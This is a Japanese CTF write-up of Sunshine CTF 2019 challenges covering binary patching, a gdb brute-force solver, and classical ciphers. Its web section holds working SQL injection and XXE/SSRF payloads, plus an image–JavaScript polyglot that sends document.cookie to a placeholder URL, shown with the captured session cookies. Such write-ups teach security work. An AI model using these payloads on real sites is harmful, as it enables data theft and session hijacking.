st98 の日記帳


[ctf] Sunshine CTF 2019 の write-up

3 月 30 日から 4 月 1 日にかけて開催された Sunshine CTF 2019 に、チーム zer0pts で参加しました。最終的にチームで 3255 点を獲得し、順位は得点 464 チーム中 10 位でした。うち、私は 11 問を解いて 1555 点を入れました。

他のメンバーの write-up はこちら。

以下、私が解いた問題の write-up です。

Reversing

Patches’ Punches (50)

That moment when you go for a body slam and you realize you jump too far. Adjust your aim, and you’ll crush this challenge!
添付ファイル: patches

patches がどのようなファイルか file で確認してみましょう。

>file patches
patches: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4c73701f73d24817059a9878e13be44803352270, not stripped

x86 の ELF のようです。Freeware 版の IDA で逆アセンブルしてみましょう。

︙
mov     [ebp+var_10], 1
cmp     [ebp+var_10], 0
jnz     short loc_5A3
︙
loc_5A3:
sub     esp, 0Ch
lea     edx, (aWoahThereYouJu - 1FD8h)[eax] ; "Woah there! you jumped over the flag."
push    edx
mov     ebx, eax
call    _printf
add     esp, 10h
︙

var_101 を代入した後に var_100 を比較してジャンプするという、よくわからない処理を行っています。バイナリにパッチを当てて mov [ebp+var_10],1mov [ebp+var_10],0 にして実行するとフラグが得られました。

$ ./patches_ 
Hurray the flag is sun{To0HotToHanDleTo0C0ldToH0ld!}
sun{To0HotToHanDleTo0C0ldToH0ld!}

Smash (150)

We discovered this old CD from the 90s in our attic. It looks like it used to register you to a WWE betting community back in the day, but we seem to have lost the access code. Can you get us in?
添付ファイル: WrestleOfMania

WrestleOfMania がどのようなファイルか file で確認してみましょう。

>file WrestleOfMania
WrestleOfMania: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cd9f46bd20fbe7751d41bb4cf8fae433ff59d63f, not stripped

x86 の ELF のようです。Ghidra でデコンパイルしてみましょう。

int main(int argc,char **argv)

{

  if (pcVar1 == (char *)0x0) {
    puts("ERROR: Access code not recognized.");
    uVar3 = 0xffffffff;
  }
  else {
    iVar2 = checkAccessCode(local_33);
    if (iVar2 == 1) {
      puts("Thank you for registering!");
    }
    else {
      puts("ERROR: Access code invalid.");
    }
    uVar3 = 0;
  }

}

main ではまずユーザに文字列を入力させた後、これを checkAccessCode に投げて、この返り値が 1 であれば Thank you for registering! と出力しているようでした。

uint checkAccessCode(EVP_PKEY_CTX *param_1)

{

  process(param_1,&local_88);
  sig = &stack0xffffff74;
  prepare(param_1);
  local_10 = verify(param_1,sig,(size_t)siglen,tbs,local_8c);
  format(param_1,&stack0xffffff74);
  iVar1 = checkResult(local_8c);
  return (uint)(iVar1 == 1);

}

checkAccessCode では process prepare などのよくわからない関数でユーザ入力を加工し、最後に加工された文字列を checkResult に投げています。

int checkResult(int param_1)

{

  while( true ) {
    if (0x1d < local_10) {
      return 1;
    }
    if (local_88[local_10] != *(int *)(param_1 + local_10 * 4)) break;
    local_10 = local_10 + 1;
  }
  return 0;
}

checkResult では 1 文字ずつチェックを行っているようです。これを利用して、1 文字ずつ総当たりをする gdb 向けのスクリプトを書いてみましょう。

# gdb -n -q -x solver.py ./WrestleOfMania
import gdb
import re
import string

gdb.execute('set pagination off')
gdb.execute('b *(checkResult+0x4e)', to_string=True)

l = 30
key = ''
for i in range(l):
  for c in string.printable.strip():
    tmp = (key + c).ljust(l, 'A')
    with open('input', 'wb') as f:
      f.write(tmp)

    gdb.execute('r < input', to_string=True)

    for _ in range(i):
      gdb.execute('c' ,to_string=True)

    res = gdb.execute('p $eax == $edx', to_string=True)
    if '= 1' in res:
      key += c
      break

  print '[+]', key

gdb.execute('continue', to_string=True)
gdb.execute('quit')
$ gdb -n -q -x solver.py ./WrestleOfMania
︙
[+] sun{Hu1k4MaN1a-ruNs-W1l4-0n-U}
Please enter your access code: Thank you for registering!

フラグが得られました。

sun{Hu1k4MaN1a-ruNs-W1l4-0n-U}

The Whole Pkg (350)

I’ve stored all of my wrestling strategies in a state-of-the-art secret vault. I even wrote it in nodeJS, can’t get more cutting edge than that!
添付ファイル: Strategy_Vault-win.exe

Strategy_Vault-win.exe がどのようなファイルか file で確認してみましょう。

>file Strategy_Vault-win.exe
Strategy_Vault-win.exe: PE32+ executable (console) x86-64, for MS Windows

64 ビットの PE ファイルのようです。とりあえず実行してみましょう。

>Strategy_Vault-win.exe
  /$$$$$$   /$$                          /$$                                         /$$    /$$                    /$$   /$$
 /$$__  $$ | $$                         | $$                                        | $$   | $$                   | $$  | $$
| $$  \__//$$$$$$    /$$$$$$  /$$$$$$  /$$$$$$    /$$$$$$   /$$$$$$  /$$   /$$      | $$   | $$ /$$$$$$  /$$   /$$| $$ /$$$$$$
|  $$$$$$|_  $$_/   /$$__  $$|____  $$|_  $$_/   /$$__  $$ /$$__  $$| $$  | $$      |  $$ / $$/|____  $$| $$  | $$| $$|_  $$_/
 \____  $$ | $$    | $$  \__/ /$$$$$$$  | $$    | $$$$$$$$| $$  \ $$| $$  | $$       \  $$ $$/  /$$$$$$$| $$  | $$| $$  | $$
 /$$  \ $$ | $$ /$$| $$      /$$__  $$  | $$ /$$| $$_____/| $$  | $$| $$  | $$        \  $$$/  /$$__  $$| $$  | $$| $$  | $$ /$$
|  $$$$$$/ |  $$$$/| $$     |  $$$$$$$  |  $$$$/|  $$$$$$$|  $$$$$$$|  $$$$$$$         \  $/  |  $$$$$$$|  $$$$$$/| $$  |  $$$$/
 \______/   \___/  |__/      \_______/   \___/   \_______/ \____  $$ \____  $$          \_/    \_______/ \______/ |__/   \___/
                                                           /$$  \ $$ /$$  | $$
                                                          |  $$$$$$/|  $$$$$$/
                                                           \______/  \______/
***********************Options: ***********************
1. List Files
2. Print File Contents
3. Exit
Selection : 1
*************************************************************
**************************FILES******************************
*************************************************************
C:\snapshot\source/files/costume_shops.txt
C:\snapshot\source/files/finishing_moves.txt
C:\snapshot\source/files/flag.txt
C:\snapshot\source/files/sourcing_weapons.txt
C:\snapshot\source/files/weapons.txt
*************************************************************
**************************FILES******************************
*************************************************************
***********************Options: ***********************
1. List Files
2. Print File Contents
3. Exit
Selection : 2
*************************************************************
************************READ FILES***************************
*************************************************************
Which file would you like to read:
1. costume_shops.txt
2. finishing_moves.txt
3. flag.txt
4. sourcing_weapons.txt
5. weapons.txt
*************************************************************
************************READ FILES***************************
*************************************************************
File number: 5
File contents:
  ____            _    __          __
 |  _ \          | |   \ \        / /                              _
 | |_) | ___  ___| |_   \ \  /\  / /__  __ _ _ __   ___  _ __  ___(_)
 |  _ < / _ \/ __| __|   \ \/  \/ / _ \/ _` | '_ \ / _ \| '_ \/ __|
 | |_) |  __/\__ \ |_     \  /\  /  __/ (_| | |_) | (_) | | | \__ \_
 |____/ \___||___/\__|     \/  \/ \___|\__,_| .__/ \___/|_| |_|___(_)_
 /_ |   |  ____| |               (_)        | |   / ____| |         (_)
  | |   | |__  | | __ _ _ __ ___  _ _ __   _|_|  | |    | |__   __ _ _ _ __
  | |   |  __| | |/ _` | '_ ` _ \| | '_ \ / _` | | |    | '_ \ / _` | | '__|
  | |_  | |    | | (_| | | | | | | | | | | (_| | | |____| | | | (_| | | |
  |_(_) |_|____|_|\__,_|_| |_| |_|_|_| |_|\__, |  \_____|_| |_|\__,_|_|_|      _ _
 |__ \    |  ____| |                       __/ |            | |   |  _ \      | | |
    ) |   | |__  | |_   _  ___  _ __ ___  |___/___ ___ _ __ | |_  | |_) |_   _| | |__  ___
   / /    |  __| | | | | |/ _ \| '__/ _ \/ __|/ __/ _ \ '_ \| __| |  _ <| | | | | '_ \/ __|
  / /_ _  | |    | | |_| | (_) | | |  __/\__ \ (_|  __/ | | | |_  | |_) | |_| | | |_) \__ \
 |____(_) |_|__  |_|\__,_|\___/|_| _\___||___/\___\___|_| |_|\__|_|____/ \__,_|_|_.__/|___/
 |___ \   |  _ \           | |     \ \        / (_)          |  _ \      | |
   __) |  | |_) | __ _ _ __| |__    \ \  /\  / / _ _ __ ___  | |_) | __ _| |_
  |__ <   |  _ < / _` | '__| '_ \    \ \/  \/ / | | '__/ _ \ |  _ < / _` | __|
  ___) |  | |_) | (_| | |  | |_) |    \  /\  /  | | | |  __/ | |_) | (_| | |_
 |____(_) |____/ \__,_|_|  |_.__/      \/__\/_ _|_|_|  \___| |____/ \__,_|\__|
 | || |   | |/ /             | |        / ____| | (_)    | |
 | || |_  | ' / ___ _ __   __| | ___   | (___ | |_ _  ___| | __
 |__   _| |  < / _ \ '_ \ / _` |/ _ \   \___ \| __| |/ __| |/ /
    | |_  | . \  __/ | | | (_| | (_) |  ____) | |_| | (__|   <
    |_(_) |_|\_\___|_| |_|\__,_|\___/  |_____/ \__|_|\___|_|\_\


***********************Options: ***********************
1. List Files
2. Print File Contents
3. Exit
Selection : 2
*************************************************************
************************READ FILES***************************
*************************************************************
Which file would you like to read:
1. costume_shops.txt
2. finishing_moves.txt
3. flag.txt
4. sourcing_weapons.txt
5. weapons.txt
*************************************************************
************************READ FILES***************************
*************************************************************
File number: 3
File contents:
You do not have permission to view this file
***********************Options: ***********************
1. List Files
2. Print File Contents
3. Exit
Selection : 3

weapons.txt はちゃんと表示してくれましたが、flag.txt を表示しようとすると権限がないと言われてしまいました。

バイナリエディタで Strategy_Vault-win.exe を開いて weapons.txt を検索してみると、以下のような文字列が見つかりました。

["costume_shops.txt","finishing_moves.txt","flag.txt","sourcing_weapons.txt","weapons.txt"]

ファイルの配列のようです。以下のように適当なひとつを flag.txt に変えてしまいましょう。

["flag.txt",         "finishing_moves.txt","flag.txt","sourcing_weapons.txt","weapons.txt"]

保存して実行します。

>Strategy_Vault-win_patched.exe
︙
*************************************************************
************************READ FILES***************************
*************************************************************
Which file would you like to read:
1. flag.txt
2. finishing_moves.txt
3. flag.txt
4. sourcing_weapons.txt
5. weapons.txt
*************************************************************
************************READ FILES***************************
*************************************************************
File number: 1
File contents:
sun{n0d3j5_15_7h3_wh0l3_p4ck463}

フラグが得られました。

sun{n0d3j5_15_7h3_wh0l3_p4ck463}

Web

WrestlerBook (100)

WrestlerBook is the social network for wrestlers, by wrestlers. WrestlerBook is exclusively for wrestlers, so if you didn’t get an invite don’t even bother trying to view our profiles.
http://bk.sunshinectf.org

与えられた URL にアクセスすると、ユーザ名とパスワードを入力できるログインフォームが表示されました。ユーザ名に ' or 1;# でログインしてみるとハルクホーガンのプロフィールが表示されました。どうやら SQLi ができるようです。

' union select 1, 2, 3, 4, 5;# を入力すると以下のようなエラーが表示されました。

Warning: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns in /var/www/html/login.php on line 19

Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /var/www/html/login.php:20 Stack trace: #0 {main} thrown in /var/www/html/login.php on line 20

SQLite3 のようです。' union select group_concat(sql), 2, 3, 4, 5, 6, 7, 8 from sqlite_master;# を入力すると以下のように users の構造が得られました。

CREATE TABLE `users` (
    `username`    TEXT,
    `password`    TEXT,
    `avatar`    TEXT,
    `age`    INTEGER,
    `name`    TEXT,
    `title`    TEXT,
    `flag`    TEXT,
    `id`    INTEGER PRIMARY KEY AUTOINCREMENT
),CREATE TABLE sqlite_sequence(name,seq)

' union select group_concat(flag), 2, 3, 4, 5, 6, 7, 8 from users;# でフラグが得られました。

Username: …,sun{ju57_4n07h3r_5ql1_ch4ll},…
sun{ju57_4n07h3r_5ql1_ch4ll}

Wrestler Name Generator (150)

Even better than the Wu-Tang name generator, legend has it that Hulk Hogan used this app to get his name.
http://ng.sunshinectf.org

与えられた URL にアクセスすると、以下のような HTML が返ってきました。

<form>
  <div class="form-group">
    <label style="color:white" for="exampleFormControlInput1">First Name</label>
    <input type="email" class="form-control" id="firstName" placeholder="First">
  </div>
  <div class="form-group">
    <label style="color:white" for="exampleFormControlInput1">Last Name</label>
    <input type="email" class="form-control" id="lastName" placeholder="Last">
  </div>
  <div class="form-group">
    <label style="color:white" for="exampleFormControlSelect1">Weapon of Choice</label>
    <select class="form-control" id="weapon">
      <option>Steel Chair</option>
      <option>Flaming Table</option>
      <option>Barb Wire Bat</option>
      <option>Ladder</option>
      <option>Thumbtacks</option>
    </select>
  </div>
</form>
<button id="button" class="btn btn-primary" type="submit">Get Wrestler Name</button>
<script>
document.getElementById("button").onclick = function() {
  var firstName = document.getElementById("firstName").value;
  var lastName = document.getElementById("lastName").value;
  var input = btoa("<?xml version='1.0' encoding='UTF-8'?><input><firstName>" + firstName + "</firstName><lastName>" + lastName+ "</lastName></input>");
  window.location.href = "/generate.php?input="+encodeURIComponent(input);
};
</script>

フォームを送信すると generate.php に XML が投げられるようです。XXE を利用した攻撃ができないか試してみましょう。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE input [<!ENTITY h SYSTEM "php://filter/convert.base64-encode/resource=generate.php">]><input><firstName>&h;</firstName><lastName>neko</lastName></input>

を投げてみると generate.php のソースコードが得られました。

<?php
$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
    echo $_ENV["FLAG"];
    return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
    echo "Please include the 'input' get parameter with your request, Brother";
    return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate name
$nouns = array("Killer", "Savage", "Stallion", "Coder", "Hacker", "Slasher", "Crusher", "Barbarian", "Ferocious", "Fierce", "Vicious", "Hunter", "Brute", "Tactician", "Expert");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Wrestler Name Generator</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
  <h1>Your Wrestler Name Is:</h1>
  <h2>$generatedName</h2> 
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
  <a href="/">Go Back</a> 
</div>
</body>
</html>
EOT;
?>

127.0.0.1 もしくは ::1 からのアクセスであればフラグが表示されるようです。XXE を利用して SSRF を行います。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE input [<!ENTITY h SYSTEM "http://localhost/generate.php">]><input><firstName>&h;</firstName><lastName>neko</lastName></input>

を投げるとフラグが得られました。

sun{1_l0v3_hulk_7h3_3x73rn4l_3n717y_h064n}

Portfolio (150)

Check out my development portfolio! I’m just getting started, so don’t be too mean :(
http://folio.sunshinectf.org

与えられた URL にアクセスすると、以下のようなリンクのリストが表示されました。

<h2> Projects </h2>
    <ul> 
      <li><a href="/hello/name">Custom greeting</a></li>
      <li><a href="/render.html">Dynamic page rendering</a></li>
    </ul>

HTTP レスポンスヘッダには Server: Werkzeug/0.15.1 Python/3.7.2 とあり、Flask 製であることが推測できます。

/app.py にアクセスするとフラグが得られました。

from flask import Flask, session, redirect, url_for, request, render_template, render_template_string
import requests
from datetime import datetime

app = Flask(__name__, static_url_path='',static_folder='')
app.secret_key = '20f75e46-4d3a-452d-ae10-96d1b45d2428'
app.config["FLAG"] = "sun{5l33333p_15_f0r_7h3_w34k}"
app.config["DEBUG"] = False

@app.route('/hello')
@app.route('/hello/<user>')
def hello_world(user=None):
    user = user or ''
    return render_template('hello.html', user=user)

@app.route('/')
def index():
    return app.send_static_file("index.html")

@app.route("/render", methods=["POST"])
def render_template_endpoint():
    data = request.form
    template = request.form["template"]
    if ".py" in template or "app" in template:
        template = "index.html"
    template = requests.get("http://127.0.0.1:5000/" + template).text
    return render_template_string(template)




@app.route("/render", methods=["OPTIONS"])
def render_options():
    return "testing"


@app.route('/templates/matches.html')
def matches():
    return app.send_static_file("templates/matches.html")

@app.route('/templates/teams.html')
def teams():
    return app.send_static_file("templates/teams.html")

@app.route('/templates/admin.html')
def admin():
    return app.send_static_file("templates/admin.html")

   
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')
sun{5l33333p_15_f0r_7h3_w34k}

Enter The Polygon 1 (300)

These photos are The Best There Is, The Best There Was and The Best There Ever Will Be. Give me your photos I’ll EXAMINE if they meet the bar.
http://img.sunshinectf.org

与えられた URL にアクセスし、適当なユーザ名で登録、ログインすると画像のアップロードができるようになりました。

適当な画像をアップロードするとその画像の EXIF 情報等が表示されましたが、ソースを見るとなんだかおかしなことをしていることが分かります。

<img src="/media/0ef50f99-fc63-41ef-8b65-c14be1b94c4b"></img>
   <script charset="ISO-8859-1" src='/media/0ef50f99-fc63-41ef-8b65-c14be1b94c4b'></script>

アップロードした画像を JavaScript のコードとして読み込み実行しています。普通の画像であれば Syntax Error で落ちるだけですが、画像と JavaScript の polyglot を作ることができれば XSS (?) ができそうです。

画像はビットマップファイルでもよいようなので、まず以下のように BM/*(ヘッダ)*/=1;(スクリプト)/*(パディング)*/ のような内容のビットマップファイルを出力してくれるスクリプトを書きます。

HEADER = b'\x42\x4D\x2F\x2A\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00\x00\x00\x32\x00\x00\x00\x32\x00\x00\x00\x01\x00\x18\x00\x00\x00\x00\x00\xB0\x1D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SCRIPT = b'''*/=1;
alert('XSS');
/*'''
with open('result.bmp', 'wb') as f:
  f.write(HEADER)
  f.write(SCRIPT)
  f.write(b'A' * (7652 - (len(HEADER) + len(SCRIPT))) + b'*/')

alert('XSS')(new Image).src = '(適当な URL)' + encodeURIComponent(document.cookie); に書き換え、実行して出力された画像をアップロードすると以下のようなアクセスが来ました。

csrftoken=sWmwkUEiWZy8YGOpMuYdiniD65Ytxwivpo5Z58d456S5IPLUXPuQ8raThoo4iXMG; flag=SUN{why_bo0ther_with_ex1f}; jwtsess=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGhlcm9jayIsInNpZyI6Imh0dHA6Ly9uZ2lueC9zdGF0aWMvc2VjcmV0LmtleSIsInJvbGUiOiJ1c2VyIn0.GyJM1uu-079ZjNPS4eeTPJ2kqoNPO6WXQknMlTP03gs

フラグが得られました。

SUN{why_bo0ther_with_ex1f}

Crypto

CB1 (50)

We picked up a new numbers station that’s been active in the shortwave bands. We need to figure out how to crack his code.
Here’s an example file, crack the cipher and send us the plaintext message.
添付ファイル: CB1.wav

私が問題を確認した時点で、ふるつきさんが音声はフォネティックコードであることを見抜き、yoshiking さんがアルファベットでの書き起こしをされていました。

HKCGXKZNKOJKYULSGXIN をシーザー暗号として右に 20 シフトするとフラグが得られました。

BEWARETHEIDESOFMARCH

CB2 (100)

That numbers station is still active, they’ve just switched codes. We need you to crack it before they switch again.
Here’s an example file, crack the cipher and send us the plaintext message.
添付ファイル: CB2.wav

私が問題を確認した時点で、yoshiking さんが音声をアルファベットで書き起こされ、暗号文が DBDAABEDDDDCDEACADBBDDADDEABBB であることが分かっていました。

暗号文の性質を見ていきましょう。暗号文が 5 文字だけで表現でき、文字数が偶数になる暗号化方式といえばポリュビオスの暗号表です。が、鍵は一体なんなんでしょう。

ABCDE12345 に置換し Polybius Square Cipher - Decoder, Encoder, Solver, Translator でブルートフォースしてみると、POLY から始まるような平文が複数ありました。平文が POLYSQUARE から始まると推測し、そのように変換されるようなテーブルを逆算してみましょう。DBDAABEDDDDCDEACADBBPOLYSQUARE に変換されるように配置すると以下のようになりました。

? L A R ?
? E ? ? ?
? ? ? ? ?
O P Q S U
V W X Y Z

適当に埋めて、以下のようなテーブルでフラグが得られました。

C L A R B
D E F G H
I J K M N
O P Q S U
V W X Y Z
polysquaresrule

CB3 (150)

The number station has switched codes yet again. This one seems similar to the last cipher used, but we still haven’t been able to crack it.
Here’s an example file, crack the cipher and send us the plaintext message.
添付ファイル: CB3.wav

音声をアルファベットに書き起こすと、暗号文が XDXGFVVVXXAFVFFVADGDDXAGAAFDFFFF であることが分かりました。

出現している文字は ADFGVX の 6 文字だけであることと、問題文の This one seems similar to the last cipher used という一文から、ADFGVX 暗号が使われていることは推測できます。

しかしながら、ADFGVX 暗号が使われた暗号文を復号するには換字表と鍵の両方を入手する必要があります。ここで悩んでいると、ptr-yudai さんが添付ファイルの最初で言われている単語 (prideful priceful fightful のいずれか) が鍵になっているのではという推測を出されました。

この推測をもとに、換字表はシャッフルされていないと推測して abcdefghijklmnopqrstuvwxyz0123456789 に、鍵を prideful に復号するとフラグが得られました。

g3rm4n3ncrypt10n

Misc

DiscordSlam (5)

I heard there’s a new bout going on in some new arena. It sounded like the arena’s name was “Disboard”. ¯(ツ)/¯.
Better go check it out!
Flag is in the banner of the #lobby channel

公式の Discord サーバに接続して #lobby チャンネルを閲覧すると、トピックにフラグが設定されていました。

sun{w3lcom3_t0_d1Sc0RdM4n1A!!!}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳